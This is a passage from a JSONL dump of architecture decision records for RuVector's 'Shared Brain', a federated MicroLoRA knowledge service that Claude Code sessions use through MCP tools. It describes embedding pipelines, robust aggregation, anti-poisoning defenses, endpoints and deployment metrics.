RuVector cognitive stack.\n\n### Phase 1 \u2014 Semantic Foundation\n\n- `sona::SonaEngine` replaces SHAKE-256 hash embeddings with real semantic vectors\n- `ruvector-gnn::RuvectorLayer` + `RuvectorQuery` for GNN message-passing and HNSW-backed search\n- `ruvector-solver::ForwardPushSolver` for O(1/e) personalized PageRank relevance propagation\n\n### Phase 2 \u2014 Graph Intelligence\n\n- `ruvector-mincut::MinCutBuilder` + `DynamicMinCut` replaces Union-Find with real subpolynomial min-cut partitioning\n- `CutCertificate` provides verifiable proof of partition integrity\n- `ruvector-delta-core::VectorDelta` for precise embedding drift detection with sparse/dense delta types\n\n### Phase 3 \u2014 Neuromorphic Substrate\n\n- `ruvector-nervous-system::ModernHopfield` for content-addressable memory recall (exponential capacity)\n- `DentateGyrus` for hippocampal pattern separation (128D to 10000D, <1% collision rate)\n- `Hypervector` + `HdcMemory` for binary hyperdimensional first-pass filtering (100x speedup)\n\n### Phase 4 \u2014 Adaptive Ranking\n\n- `ruvector-attention::TopologyGatedAttention` with coherence-gated mode selection (Stable/Cautious/Freeze)\n- 46 attention mechanisms available via `AttentionBuilder` pipeline\n- `ruvector-domain-expansion::DomainExpansionEngine` for real Meta Thompson Sampling transfer with dampened priors\n\n### Phase 5 \u2014 Emergent Intelligence\n\n- `cognitum-gate-kernel::TileState` + `EvidenceAccumulator` for 256-tile distributed quality consensus\n- SONA continuous learning loops (InstantLoop <100us, BackgroundLoop with EWC++ forgetting prevention)\n- `ruvector-solver::SolverRouter` auto-selects algorithm based on graph sparsity profile\n\n### Module Migration Map\n\n| Brain Module | Previous (Homebrew) | Now Uses (Real Crate) |\n|---|---|---|\n| embed.rs | SHAKE-256 hash -> random 128D | sona::SonaEngine semantic embeddings |\n| graph.rs | Union-Find + brute cosine scan | ruvector-mincut::DynamicMinCut + ruvector-solver::ForwardPush |\n| cognitive.rs | Euclidean distance threshold | ruvector-nervous-system (Hopfield + DentateGyrus + HDC) |\n| ranking.rs | Static 0.5/0.3/0.2 weights | ruvector-attention::TopologyGatedAttention |\n| drift.rs | CV on consecutive distances | ruvector-delta-core::VectorDelta |\n| aggregate.rs | 2-sigma filter only | reputation-weighted + byzantine tolerance |\n| transfer route | Mock response | ruvector-domain-expansion::DomainExpansionEngine |\n| pipeline.rs | 3 regex PII rules | 12-rule PII + linked witness chain |\n| verify.rs | inline sha3/ed25519-dalek | rvf-crypto (shake256_256, witness chains) \u2014 ADR-075 |\n| verify.rs (PII) | 8 string patterns | rvf-federation::PiiStripper (12 regex rules) \u2014 ADR-075 |\n| routes.rs (DP) | Not implemented | rvf-federation::DiffPrivacyEngine \u2014 ADR-075 |\n| pipeline.rs (RVF) | Client-provided only | rvf-wire::write_segment (server-side build) \u2014 ADR-075 |\n| routes.rs (cache) | Not implemented | rvf-runtime::NegativeCache \u2014 ADR-075 |\n\n### Implementation Status (Completed)\n\nAll 8 modules have been migrated to production crate integrations:\n\n- **embed.rs**: `SonaEngineBuilder` with MicroLoRA, `find_patterns()` for learned centroid reuse, SHAKE-256 fallback. 8 tests.\n- **graph.rs**: `ForwardPushSolver` (alpha=0.85, epsilon=1e-4) for PPR-boosted search, `CsrMatrix` built from adjacency. Cosine + PageRank hybrid scoring. Union-Find partition retained for efficiency.\n- **cognitive.rs**: `ModernHopfield::new(dim, 1.0)` for associative recall, `DentateGyrus::new(dim, dim*10, k, 42)` for pattern separation with `catch_unwind` safety, `HdcMemory` for binary similarity. 6 tests.\n- **ranking.rs**: `TopologyGatedAttention::new(config)` with coherence-gated mode selection, `compute_gated()` for attention-weighted scoring, fallback to static weights on error.\n- **drift.rs**: `VectorDelta::compute(old, new)` via `Delta` trait for precise sparse/dense delta, `l2_norm()` as distance metric, `is_identity()` for sparsity computation.\n- **aggregate.rs**: `aggregate_weighted()` method for reputation-weighted Byzantine-tolerant FedAvg. 3 tests.\n- **transfer route**: `DomainExpansionEngine::initiate_transfer()` + `verify_transfer()` with `TransferVerification` results. `scoreboard_summary()` for acceleration metrics.\n- **pipeline.rs**: 12 PII regex patterns (paths, keys, tokens, emails, SSH, JWT, PEM, secrets, credentials, hosts). Linked `WitnessChain` with SHAKE-256. 14 tests.\n\nInitial: 57 tests across both crates (28 server + 28 client + 1 doc-test).\n\n### Optimization Pass (Completed)\n\nPerformance optimizations applied to the hot paths:\n\n- **graph.rs**: Added `HashMap` reverse index (`node_index`) for O(1) node position lookups, replacing O(n) linear scans on `node_ids` Vec. All edge-to-index conversions in `rebuild_csr`, `rebuild_mincut`, `partition_via_mincut`, and `pagerank_scores` now use the index. Deferred CSR cache rebuild via `csr_dirty` flag \u2014 CSR is only rebuilt on the next query, not after every `add_memory` call.\n- **drift.rs**: Removed wasted `VectorDelta::compute` call in `record()` that computed and immediately discarded the delta on every embedding ingestion.\n- **store.rs**: Deduplicated `cosine_similarity` \u2014 now imports from `graph.rs` instead of maintaining a local copy.\n- **Compiler warnings**: Eliminated all 8 warnings across both brain crates (unused imports, unused fields, unused variables). Production fields renamed with `_` prefix to indicate deferred-use status.\n\n### Federated MicroLoRA Communication Bridge (Completed)\n\nThe core challenge: how do independent Claude Code sessions effectively communicate through the brain? Raw hash embeddings are deterministic but not semantic \u2014 SHAKE-256 treats \"rust programming\" and \"rust language\" as completely unrelated. The solution is a two-stage embedding pipeline with federated weight exchange.\n\n#### Stage 1: Structured Hash Features (Frozen Base)\n\nReplaced the monolithic SHAKE-256 hash with multi-granularity signed hashing into disjoint subspaces:\n\n```\nEMBEDDING_DIM = 128\n\nSubspace Allocation:\n [0..42) Unigram features (33%) \u2014 individual word hashes\n [42..84) Bigram features (33%) \u2014 consecutive word pair hashes\n [84..128) Trigram features (34%) \u2014 consecutive word triple hashes\n\nSigned Hashing:\n Each n-gram \u2192 SHAKE-256(salt:n-gram) \u2192 (bucket_index, sign \u2208 {+1, -1})\n Sign reduces collision bias vs. unsigned counting\n Short texts (<= 2 words) also add character trigrams at 0.5x weight\n```\n\nThis is deterministic and identical across all sessions. Texts sharing n-grams now have measurably higher cosine similarity (verified in tests: \"rust programming language features\" vs \"rust programming language syntax\" > \"cooking recipes for dinner tonight\").\n\n#### Stage 2: MicroLoRA Transform (Learned, Federated)\n\nA rank-2 LoRA adapter transforms the frozen hash features before L2 normalization:\n\n```\noutput = L2_normalize(features + scale \u00d7 (features @ down_proj) @ up_proj)\n\ndown_proj: 128 \u00d7 2 = 256 f32s\nup_proj: 2 \u00d7 128 = 256 f32s\nTotal: 512 f32s = 2048 bytes per session export\n```\n\nWeights are learned locally through SONA's trajectory-based learning, then periodically federated to/from the server via the `brain_sync` MCP tool.\n\n#### Federation Protocol\n\n**Pull** (download consensus): `GET /v1/lora/latest` \u2192 `ConsensusLoraWeights`\n- Returns current epoch, contributor count, total evidence count\n- Returns null weights if no consensus has been computed yet\n\n**Push** (submit local weights): `POST /v1/lora/submit` \u2192 `LoraSubmitResponse`\n- Rate limited as a write operation\n- Passes through two-gate validation before acceptance\n\n#### Two-Gate Aggregation Pipeline\n\n**Gate A: Policy Validity** (per-submission, immediate reject):\n1. Shape check: `down_proj.len() == hidden_dim \u00d7 rank`, `up_proj.len() == rank \u00d7 hidden_dim`\n2. NaN/Inf scan: reject any non-finite values\n3. Bound check: reject any weight outside [-2.0, 2.0]\n4. Norm check: reject if L2 norm of either projection > 100\n5. Evidence threshold: reject if `evidence_count < 5` (minimum training steps)\n\n**Gate B: Robust Aggregation** (batch, on reaching min_submissions threshold):\n1. Per-parameter median computation across all submissions\n2. MAD (Median Absolute Deviation) for robust spread estimation\n3. Trimmed mean: exclude parameters > 3\u00d7MAD from median\n4. Reputation-weighted averaging: `weight = reputation \u00d7 evidence_count`\n5. Result stored as new consensus; previous consensus saved for rollback\n\n#### Weight Drift Monitoring\n\nAfter each aggregation round, L2 distance between new and previous consensus is computed. If drift exceeds 5.0 (empirical threshold for rank-2 on 128-dim), the consensus is automatically rolled back to the previous epoch.\n\n#### MCP Tool: brain_sync\n\nThe 11th tool enables bidirectional weight exchange:\n\n```json\n{\n \"name\": \"brain_sync\",\n \"description\": \"Sync local MicroLoRA weights with the shared brain\",\n \"inputSchema\": {\n \"properties\": {\n \"direction\": { \"enum\": [\"pull\", \"push\", \"both\"], \"default\": \"both\" }\n }\n }\n}\n```\n\n- **pull**: Downloads consensus weights, applies to local BrainEmbedder\n- **push**: Exports local SONA MicroLoRA weights, clips to [-2, 2], validates, submits\n- **both**: Pull then push (default \u2014 bidirectional sync)\n\nReturns: `{ pulled: bool, pushed: bool, direction: string, local_embed_count: u64 }`\n\n#### Design Decisions\n\n1. **Global MicroLoRA** (not per-domain): Single set of consensus weights for all knowledge. Per-domain heads can be added later when mincut partitions stabilize and we have enough per-domain evidence. Starting global avoids cold-start fragmentation.\n\n2. **Weights-only submission** (not weights + trajectories): Sessions submit only LoRA weight deltas. EWC (Elastic Weight Consolidation) is done locally within SONA. Server relies on robust aggregation (median + trimmed mean) rather than trajectory replay. This keeps submissions small (2KB) and avoids transmitting potentially sensitive trajectory data.\n\n#### Updated Test Counts\n\nTotal: **62 tests** across both crates (28 server + 33 client + 1 doc-test), all passing.\n- New embed tests: `test_similar_texts_closer` (semantic), `test_disjoint_subspaces`, `test_signed_hash_distribution`, `test_lora_weights_validate`, `test_lora_forward_pass`, `test_consensus_import`\n\n## 14. Deployment Status (2026-03-03)\n\n### Live Metrics\n\n| Metric | Value |\n|--------|-------|\n| Memories | 237 |\n| Contributors | 17 |\n| Graph nodes | 237 |\n| Graph edges | 827 (threshold 0.55) |\n| Clusters (MinCut) | 20 |\n| Avg quality (Beta mean) | 0.73 |\n| Total votes | 608 |\n| LoRA epoch | 2 |\n| Brainpedia pages | 8 |\n| WASM nodes | 0 |\n| Embedding engine | `ruvllm::RlmEmbedder` |\n| Embedding dim | 128 |\n| Search P@1 | **100%** (30/30) |\n| Search P@3 | **100%** (30/30) |\n| Persistence | Firestore (memories, contributors, votes, LoRA, pages) |\n| Cloud Run revision | 00059 |\n\n### Search Intelligence Stack\n\nSix-layer hybrid search scoring pipeline:\n\n1. **Keyword matching** (primary) \u2014 word-boundary matching with field weights (title 6\u00d7, tags 4\u00d7, category 3\u00d7, content 1\u00d7), phrase bonus up to 2.0, all-in-title bonus 0.6, keyword floor +1.0\n2. **RLM neural embeddings** \u2014 RlmEmbedder context-aware embeddings (QueryConditioned for search, CorpusConditioned for storage), activated at 50+ corpus docs, re-embedded on startup for space consistency\n3. **Graph PPR** \u2014 ForwardPushSolver personalized PageRank over 827-edge knowledge graph, 0.6\u00d7cosine + 0.4\u00d7PPR blend\n4. **Query expansion** \u2014 32 synonym rules for abbreviation expansion (ml\u2192machine learning, gnn\u2192graph neural network, etc.)\n5. **Vote quality re-ranking** \u2014 Bayesian Beta mean from 608 votes as learning-to-rank signal\n6. **Attention ranking** \u2014 TopologyGatedAttention post-processing with coherence-gated mode selection\n\n### Persistence Across Restarts\n\nAll state survives Cloud Run cold starts:\n- **Memories**: Firestore `brain_memories` \u2192 DashMap hydration\n- **Contributors**: Firestore `brain_contributors` \u2192 DashMap hydration\n- **Votes**: Firestore `brain_votes` \u2192 vote tracker + counter rebuild\n- **LoRA**: Firestore `brain_lora` \u2192 consensus weights + epoch restore\n- **Pages**: Firestore `brain_pages` + `brain_deltas` \u2192 Brainpedia hydration\n- **Graph**: Rebuilt from hydrated memories on startup\n- **Embeddings**: Re-embedded with RLM on startup for consistency", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-059-shared-brain-google-cloud.md", "created_at": "2026-03-28T11:58:49.703732+00:00", "content_hash": "53189181777ef86aadfeef809fdc35a1228b29b5ba250b7110d2ee1fec1dd7fc"} +{"id": "8727e4d5-b6b2-4317-9198-f586b775b99f", "source": "adr", "text": "# ADR-060: Shared Brain Capabilities \u2014 Federated MicroLoRA Intelligence Substrate\n\n**Status**: Accepted\n**Date**: 2026-02-27\n**Authors**: RuVector Team\n**Deciders**: ruv\n**Supersedes**: N/A\n**Related**: ADR-059 (Shared Brain Google Cloud Deployment), ADR-057 (Federated RVF Transfer Learning)\n\n## 1. Context\n\nThe Shared Brain (ADR-059) turns isolated Claude Code sessions into a continuously improving, public, zero-trust learning substrate. The federated MicroLoRA communication bridge \u2014 where tiny shared weights (2KB per sync) move faster than any single model upgrade \u2014 enables seven distinct capabilities that were previously impossible with isolated sessions.\n\nThis ADR documents the sub-capabilities, practical use cases, business outcomes, and architectural considerations that emerge from the deployed system.\n\n## 2. Core Capabilities\n\n### 2.1 Cold Start Disappears\n\nA brand-new session can land on the right approach in minutes because it downloads the current MicroLoRA consensus plus high-quality priors and policies. The \"first time tax\" \u2014 where every new repo, bug class, or architecture decision requires re-discovery \u2014 is eliminated.\n\n**Mechanism**: `brain_sync(direction: \"pull\")` downloads consensus LoRA weights + `brain_search` retrieves relevant prior knowledge. The structured hash features provide immediate lexical n-gram-level matching; the MicroLoRA transform adds learned semantic refinement on top.\n\n**Primary metric**: Median time to first relevant hit at top-5 on a fixed labeled query set, measured continuously. Secondary: median tool calls until first correct fix. Both tracked per-epoch to observe convergence.\n\n**Measurable outcome**: New sessions converge on known solution patterns without rediscovering them. The acceleration is proportional to the quality and density of the knowledge graph in the relevant domain.\n\n### 2.2 Debugging Becomes Cumulative\n\nWhen one session finds a reliable fix pattern for a failure mode, the brain learns that trajectory. Future sessions retrieve it by meaning, not by exact text match. Debugging becomes a shared skill library that grows with every session.\n\n**Mechanism**: The SONA engine records debugging trajectories as `LearnedPattern` entries with quality scores. Successful fixes (high quality feedback via `brain_vote(direction: \"up\")`) strengthen the corresponding embedding clusters. The MicroLoRA adapts to prefer embeddings near high-quality fix patterns.\n\n**Example flow**:\n1. Session A discovers that `tokio::spawn` deadlocks when combined with `parking_lot::RwLock` in certain patterns\n2. Session A shares the fix pattern via `brain_share(category: \"debug\", ...)`\n3. Session B encounters a similar deadlock\n4. Session B's `brain_search` retrieves Session A's fix \u2014 not because the code is identical, but because the structured hash features capture the shared lexical tokens (\"deadlock\", \"rwlock\", \"spawn\") and the MicroLoRA has learned the semantic proximity between those tokens and the solution space\n\n### 2.3 A Shared \"Taste\" for Good Solutions\n\nVotes plus quality gating train the MicroLoRA to prefer solution patterns that actually worked downstream. Over time the system learns what \"good\" looks like for the ecosystem \u2014 not what is popular, but what is effective.\n\n**Invariant: Quality signals are sourced only from authenticated contributors.** Voting is a write operation requiring API key authentication and contributor pseudonym derivation. This prevents the vote stream \u2014 which directly influences MicroLoRA gradient signals \u2014 from becoming the easiest poisoning path. Anonymous or unauthenticated users cannot influence quality scores.\n\n**Mechanism**: The Bayesian quality score (`BetaParams { alpha, beta }`) accumulates vote evidence. Memories with `quality_score.mean() < 0.3` after `observations() >= 5` are auto-archived. The MicroLoRA's gradient signal is quality-weighted: high-quality patterns get stronger representation in the embedding space, shifting the consensus toward effective solutions.\n\n**Anti-popularity bias**: Quality gating is based on Bayesian posteriors with flat priors, not raw vote counts. A memory with 3 upvotes and 0 downvotes (quality=0.8) is not assumed superior to one with 50 upvotes and 10 downvotes (quality=0.85). The Beta distribution's uncertainty naturally favors well-tested knowledge.\n\n### 2.4 Transfer Learning Across Domains\n\nTransferPrior and PolicyKernel segments enable moving learning from \"code review\" into \"security audit\" or from \"infra ops\" into \"edge deployment\" with measurable acceleration and confidence.\n\n**Mechanism**: `brain_transfer(source_domain, target_domain)` uses `DomainExpansionEngine::initiate_transfer()` with sqrt-dampened priors (prevents overfit to source domain). `TransferVerification::verify()` requires both conditions: target improved AND source not regressed. `CostCurve` tracks the acceleration factor.\n\n**Cross-domain examples**:\n- Rust ownership patterns (source) -> TypeScript lifetime management patterns (target)\n- REST API security (source) -> GraphQL security (target)\n- Kubernetes deployment (source) -> Edge container deployment (target)\n\n**Failure mode**: Transfer can inject incorrect analogies when domains are superficially similar but structurally different. Transfer priors are never auto-applied. They require explicit `brain_transfer` invocation, downstream verification in the target domain (target_after > target_before), and non-regression in the source domain (source_after >= source_before). If either condition fails, the transfer is rejected and the `TransferVerification.promotable` flag is false.\n\n### 2.5 A Public Marketplace of Small, Auditable Intelligence Artifacts\n\nBecause everything is an RVF container with witness chains, knowledge can be exchanged as signed, replayable, revocable units. This is the basis for monetization, governance, and compliance.\n\n**Canonical RVF container layout: exactly ten segments per memory** (from ADR-059 Section 6):\n\n| # | Type | Content |\n|---|------|---------|\n| 1 | `MANIFEST (0x05)` | Segment directory |\n| 2 | `VEC_SEG (0x01)` | SONA embedding (f32 x dim) |\n| 3 | `META_SEG (0x07)` | Title, content, tags, category |\n| 4 | `TransferPrior (0x30)` | Domain priors (if any) |\n| 5 | `PolicyKernel (0x31)` | Best config snapshot |\n| 6 | `CostCurve (0x32)` | Acceleration data |\n| 7 | `FederatedManifest (0x33)` | Export metadata |\n| 8 | `DiffPrivacyProof (0x34)` | Noise attestation |\n| 9 | `RedactionLog (0x35)` | PII strip attestation |\n| 10 | `WITNESS_SEG (0x0A)` | SHAKE-256 operation chain |\n\nEd25519 signature covers segments 1-10. This layout is locked \u2014 code comments and test assertions reference exactly ten segments.\n\n**Auditability**: Every operation (share, vote, delete, transfer, sync) is recorded in the witness chain. Any participant can verify the chain independently.\n\n### 2.6 An Anti-Poisoning Collective Memory\n\nRobust aggregation, mincut partitioning, drift monitors, and reputation gating let the system absorb noisy public input without letting any single actor steer the centroid.\n\n**Seven layers of defense**:\n1. **Input sanitization**: 12-pattern PII strip, schema validation, size limits\n2. **Server-side verification**: Re-check PII, witness chain, signature, embedding bounds\n3. **DoS protection**: BudgetTokenBucket rate limiting, challenge nonces\n4. **Byzantine aggregation**: 2-sigma outlier exclusion, per-parameter median + MAD trimming\n5. **Multi-factor reputation**: `composite = accuracy^2 x uptime x stake_weight`, cold start at 0.1\n6. **Drift monitoring**: VectorDelta centroid tracking, automatic rollback on excessive drift\n7. **Vote authentication**: Quality signals sourced only from authenticated contributors (see Section 2.3)\n\n**MicroLoRA-specific defenses**:\n- Gate A policy validation: shape, NaN/Inf, [-2.0, 2.0] clipping bounds, L2 norm < 100, evidence >= 5\n- Gate B robust aggregation: per-parameter median, 3xMAD trimming, reputation-weighted mean\n- Consensus drift monitoring: L2 distance between raw (unclipped, unnormalized) consensus weight vectors across epochs; rollback threshold 5.0 calibrated for rank-2 on 128-dim (512 total parameters, weights clipped to [-2, 2] before submission). This threshold must be recalibrated if rank or dimension changes.\n\n### 2.7 Always-On Agent Coordination\n\nThe brain becomes the local edge brain for real systems. It can watch logs, configs, incidents, and sensor streams, then pull collective learnings on demand while keeping sensitive raw data local.\n\n**Architecture**: The MCP stdio server (`mcp-brain`) runs as a local process within each Claude Code session. It communicates with the Cloud Run backend (`mcp-brain-server`) via HTTPS. Raw data never leaves the local session \u2014 only distilled embeddings, LoRA weights, and sanitized metadata are transmitted.\n\n**Edge deployment pattern**:\n1. Agent monitors local system (logs, metrics, alerts)\n2. When anomaly detected, `brain_search` queries collective for similar patterns\n3. If match found, apply fix pattern from collective knowledge\n4. `brain_share` contributes the resolved incident as new knowledge\n5. `brain_sync` updates local LoRA weights with any new consensus\n\n## 3. Embedding Pipeline Clarifications\n\n### 3.1 Hash Features Are Lexical, Not Semantic\n\nStructured hash features provide lexical and structural similarity. Texts sharing word-level n-grams will have higher cosine similarity than texts with disjoint vocabularies. **Semantics come only from the MicroLoRA transform**, which is learned from quality signals over time. A reader should not assume that hashing alone captures meaning \u2014 it captures co-occurrence structure that the LoRA refines into approximate semantic proximity.\n\n### 3.2 Symmetric Pipeline for Store and Query\n\nBoth stored vectors and query vectors pass through the same pipeline stages in the same order:\n\n```\ntext -> structured_hash_features() -> apply_lora_transform() -> L2_normalize()\n```\n\nThe DentateGyrus pattern separation layer in `cognitive.rs` is used only for server-side indexing and anomaly detection. It is **not** applied to query embeddings or to stored embedding vectors used for similarity search. This prevents asymmetric drift between index and query representations.\n\n### 3.3 Transfer Learning Boundary Conditions\n\nTransfer priors are dampened by sqrt-scaling and require dual verification (target improved AND source not regressed). Transfers that fail verification are rejected with `TransferVerification.promotable = false`. There is no auto-apply path \u2014 every transfer requires explicit invocation and evidence.\n\n## 4. Business Outcomes\n\n### 4.1 Lower Cost Per Solved Task\n\nFewer retries and faster convergence. When a session can pull relevant prior knowledge and learned LoRA weights instead of discovering solutions from scratch, the number of API calls, tool invocations, and human review cycles decreases.\n\n### 4.2 Higher Consistency Across Projects\n\nBest practices become default. The MicroLoRA consensus naturally encodes the patterns that have been most successful across all contributing sessions. New projects inherit this collective \"taste\" from the first `brain_sync`.\n\n### 4.3 Defensible Moat\n\nThe shared weights and witness-logged outcomes are proprietary experience, not just code. The accumulated LoRA weights represent the collective intelligence of all contributing sessions \u2014 a continuously growing asset that cannot be replicated by copying code alone.\n\n### 4.4 Economic Accounting\n\n```\nMonthly brain value = (hours_saved x blended_hourly_rate) - cloud_costs - review_time\n```\n\n**Initial targets**:\n- Reduce median fix time by 2x on \"fix failing tests\" workflow (30-run A/B test)\n- Reduce LLM token spend per fix by 30% due to fewer retries (measured via API call counts in brain-on vs brain-off runs)\n\n**Cloud cost estimate**: Cloud Run at 0-10 instances (2 CPU / 2Gi RAM), Firestore, GCS. Expected < $50/month at moderate traffic. Break-even requires saving approximately 1 developer-hour per month at $50/hr blended rate.\n\n## 5. Target Users\n\n### Primary: Developers Using Claude Code\n\nIndividual developers and small teams using Claude Code for daily software engineering tasks. The brain provides immediate value through cold-start elimination and cumulative debugging knowledge.\n\n### Secondary: Enterprise Teams Running Always-On Agents\n\nTeams deploying autonomous agents in production environments. The brain provides collective intelligence for incident response, configuration management, and cross-project coordination.\n\n## 6. Access Model\n\n### Public Read, Gated Write\n\n- **Read**: Search, list, get, drift, partition, status, and lora/latest are publicly accessible with per-identity rate tiers (1000 reads/hr authenticated, 100 reads/hr anonymous)\n- **Write**: Share, vote, delete, transfer, lora/submit require API key authentication with contributor pseudonym derivation\n- **Voting is a write operation**: Quality signals are sourced only from authenticated contributors. This is a deliberate choice \u2014 public voting without identity would be the easiest Sybil/poisoning attack surface\n- **Reputation gate**: New contributors start at 0.1 composite reputation. Their contributions are weighted 10x less in aggregation until they accumulate sufficient positive votes\n- **System contributors**: Seed data uses `ruvector-seed` pseudonym with max reputation (1.0) and system flag exempting from decay\n\n### Read Abuse Budgeting\n\nEven public read endpoints can dominate cost. Defenses:\n- **Query complexity limits**: Search limited to `limit <= 100`, embedding dimension fixed at 128\n- **Response caching**: 60-second TTL cache on `/v1/lora/latest` (consensus changes only at epoch boundaries). 30-second cache on `/v1/status` and `/v1/drift`\n- **Per-identity rate tiers**: Authenticated: 1000 reads/hr. Anonymous (no API key): 100 reads/hr. Exhausted: 429 with Retry-After header\n\n## 7. Federation Cadence and Stability\n\n### Aggregation Trigger\n\nAggregation fires on **submission count**: when `pending_submissions >= min_submissions` (default: 3). There is no time-based trigger \u2014 aggregation requires evidence from multiple independent sessions.\n\n### Minimum Quorum\n\nA new consensus epoch is published only when:\n1. At least `min_submissions` (3) accepted submissions are pending\n2. After Gate B trimming, at least `min_submissions` (3) inlier submissions remain\n3. If both conditions fail, pending submissions accumulate until the threshold is met\n\n### Rollback Semantics\n\nWhen drift rollback triggers, **only MicroLoRA consensus weights are rolled back**. The accepted memory set is preserved. Memories are independently quality-gated (Bayesian BetaParams) and witness-verified \u2014 rolling them back would destroy valid, independently verified knowledge. The LoRA transform is the only aggregated learned artifact that can diverge from the population; memories are individually validated on ingestion.\n\nAfter rollback, the pending submission queue is cleared to prevent the same batch from immediately re-triggering the same divergent consensus.\n\n## 8. Acceptance Criteria\n\n### Embedding Quality\n\n- 200 labeled pairs (similar/unrelated)\n- After 3 sync epochs with >= 10 contributors each\n- Similar pairs should exceed unrelated by >= 0.25 cosine distance\n- Search recall@10 should improve >= 30% vs hash-only baseline\n\n### Workflow Acceleration\n\nPick one workflow (e.g., \"fix failing tests in a TypeScript repo\"):\n- Measure median time to first passing build: brain off vs brain on\n- 30 runs each condition\n- Target: >= 2x improvement once the brain has a few hundred high-quality memories and a few LoRA sync epochs\n\n### Security: Poisoning Resistance\n\n- Zero PII leakage through embedding or LoRA weight analysis\n- Byzantine aggregation excludes > 95% of adversarial submissions in poisoning simulations\n- Weight drift rollback triggers correctly when consensus shifts > 5.0 L2 distance\n- Poisoning simulation: 30% adversarial submitters must fail to move consensus weights beyond the drift threshold for more than one epoch\n\n### Weekly Regression Suite\n\nRun continuously with:\n1. Fixed labeled query set (200 pairs)\n2. Fixed workflow harness (e.g., \"fix failing tests\")\n3. Poisoning simulation (30% adversarial contributors)\n\nPass criteria:\n- Recall@10 >= 30% improvement vs hash-only baseline\n- Median time to first passing build >= 2x improvement\n- Adversarial consensus deviation contained to <= 1 epoch before rollback\n\n## 9. Implementation Status\n\nAll capabilities described in this ADR are implemented on branch `feat/adr-030-hash-security-optimization`. Test counts:\n\n| Crate | Tests | Status |\n|-------|-------|--------|\n| `mcp-brain` (client) | 33 | All passing |\n| `mcp-brain-server` (server) | 28 | All passing |\n| `mcp-brain` (doc-tests) | 1 | Passing |\n| **Total** | **62** | **All passing** |\n\n### Shipped Endpoints\n\n| Method | Path | Category |\n|--------|------|----------|\n| GET | `/v1/health` | Infrastructure |\n| GET | `/v1/challenge` | Auth |\n| POST | `/v1/memories` | Write |\n| GET | `/v1/memories/search` | Read |\n| GET | `/v1/memories/list` | Read |\n| GET | `/v1/memories/{id}` | Read |\n| POST | `/v1/memories/{id}/vote` | Write |\n| DELETE | `/v1/memories/{id}` | Write |\n| POST | `/v1/transfer` | Write |\n| GET | `/v1/drift` | Read |\n| GET | `/v1/partition` | Read |\n| GET | `/v1/status` | Read |\n| GET | `/v1/lora/latest` | Read |\n| POST | `/v1/lora/submit` | Write |\n\nTotal: 14 endpoints (8 read, 5 write, 1 infrastructure).\n\n### Shipped MCP Tools\n\n11 tools: `brain_share`, `brain_search`, `brain_get`, `brain_vote`, `brain_transfer`, `brain_drift`, `brain_partition`, `brain_list`, `brain_delete`, `brain_status`, `brain_sync`.\n\n### Deferred\n\n- `GET /v1/lora/stats` (per-epoch aggregation statistics) \u2014 deferred until aggregation history is implemented\n- `POST /v1/lora/challenge` (proof-of-work challenge for anonymous submitters) \u2014 deferred until PoW is required by traffic patterns\n\n## 10. RVF AGI Stack Integration (ADR-075)\n\nThe capabilities described in this ADR \u2014 PII stripping (Section 2.6, Layer 1), differential privacy (Section 2.5, Segment 8), witness chains (Section 2.5, Segment 10), and RVF container construction (Section 2.5) \u2014 were originally documented as design goals. ADR-075 implements these using the production RVF crate stack:\n\n| Capability | Inline (Previous) | RVF Crate (ADR-075) |\n|---|---|---|\n| PII stripping | 8 string patterns in `verify.rs` | `rvf-federation::PiiStripper` (12 regex rules) |\n| Diff privacy | Not implemented | `rvf-federation::DiffPrivacyEngine` (Gaussian, feature-gated) |\n| Witness chains | String-step SHAKE-256 in `verify.rs` | `rvf-crypto::create_witness_chain` (73-byte linked entries) |\n| Container build | Client-provided RVF bytes only | `rvf-wire::write_segment` (server-side construction) |\n| Adversarial detect | Not implemented | `rvf-runtime::is_degenerate_distribution` (log-only) |\n| Negative cache | Not implemented | `rvf-runtime::NegativeCache` (query signature blacklist) |\n\nThe 10-segment canonical container layout (Section 2.5) is now constructed server-side by the `pipeline.rs` module, with segment count reported in `ShareResponse.rvf_segments`.\n\n## 11. Related ADRs\n\n| ADR | Relationship |\n|-----|-------------|\n| ADR-057 | Federated RVF Transfer Learning \u2014 foundational protocol |\n| ADR-058 | Hash Security Optimization \u2014 SHAKE-256 content hashing |\n| ADR-059 | Shared Brain Google Cloud Deployment \u2014 infrastructure and security |\n| ADR-075 | Wire Full RVF AGI Stack \u2014 replaces inline crypto with production RVF crates |", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-060-shared-brain-capabilities.md", "created_at": "2026-03-28T11:58:49.704013+00:00", "content_hash": "9312cffdaf0c7402bd44a62d2088f4acf4008dd692e288acbb47dc8d68a9bad5"} +{"id": "6e69d580-c88b-4afb-8a91-410ef3f49112", "source": "adr", "text": "# ADR-061: Reasoning Kernel Architecture \u2014 Brain-Augmented Targeted Reasoning\n\n**Status**: Accepted\n**Date**: 2026-02-27\n**Authors**: RuVector Team\n**Deciders**: ruv\n**Supersedes**: N/A\n**Related**: ADR-060 (Shared Brain Capabilities), ADR-059 (Shared Brain Google Cloud), ADR-057 (Federated Transfer Learning)\n\n## 1. Context\n\nThe Shared Brain (ADR-059, ADR-060) provides a learning substrate: shared MicroLoRA weights, semantic retrieval, quality-gated knowledge, and witness-verified provenance. But the brain is the memory, not the thinker. The thinker is ruvllm, and it needs a reasoning kernel that leverages the brain to achieve \"on par or better\" performance compared to traditional LLMs on targeted domains.\n\nA traditional LLM is a static generalist with weak memory and no accountability. The RuVector system is a living specialist with a shared skill substrate, a semantic retrieval layer, a policy and proof layer, and a parameter growth path. That combination beats raw model size in production for bounded domains.\n\nThis ADR defines the reasoning kernel architecture: what the brain can and cannot do, how ruvllm grows through the brain, and the concrete build plan for targeted domain reasoning.\n\n## 2. What the Brain Can and Cannot Do\n\n### 2.1 What It Does Well\n\n**Domain reasoning at high reliability**: When the domain is bounded \u2014 codebase-specific debugging, infrastructure incident response, RVF correctness, mincut-based coherence decisions \u2014 the brain makes the system consistently better than a generic LLM because it accumulates exact successful trajectories and policies.\n\n**Fast improvement without retraining**: MicroLoRA plus retrieval shifts behavior quickly. Short-cycle learning driven by votes and outcomes. A 2KB weight sync moves faster than any model upgrade.\n\n**Better behavior under governance**: Witness logs, proof-gated mutation, drift monitors, and rollbacks give controlled reasoning. That often matters more than raw model IQ in production.\n\n### 2.2 What It Cannot Do\n\n**Create novel general reasoning from scratch**: LoRA adapts a model. It does not invent capacity absent in the base network. If ruvllm is small and weak at general reasoning, MicroLoRA and 